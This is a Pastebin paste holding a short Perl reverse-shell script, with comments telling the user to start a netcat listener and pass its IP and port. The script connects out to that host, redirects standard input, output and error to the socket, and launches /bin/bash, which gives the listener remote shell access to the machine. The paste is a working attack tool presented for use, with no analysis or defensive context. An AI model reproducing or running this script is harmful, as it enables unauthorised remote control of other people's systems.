a guest Jul 13th, 2018 64 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. #this is a simple shell connect-back script.
  3. #nc -vv -l -p [port] (do this on the remote box you will be sending commands from)
  4. #./ [YOUR_BOX_IP] [port]
  5. #-shekk
  6. use IO::Socket;
  7. use Socket;
  8. use FileHandle;
  9. $shellbin = '/bin/bash';
  10. $ARGC=@ARGV;
  11. if ($ARGC!=2) {
  12. print "$0 host port \n\n";
  13. die;
  14. }
  15. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die
  16. print "cant resolve host\n";
  17. connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die
  18. print "cant connect\n";
  19. SOCKET->autoflush();
  20. open(STDIN, ">&SOCKET");
  21. open(STDOUT,">&SOCKET");
  22. open(STDERR,">&SOCKET");
  23. system($shellbin);
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand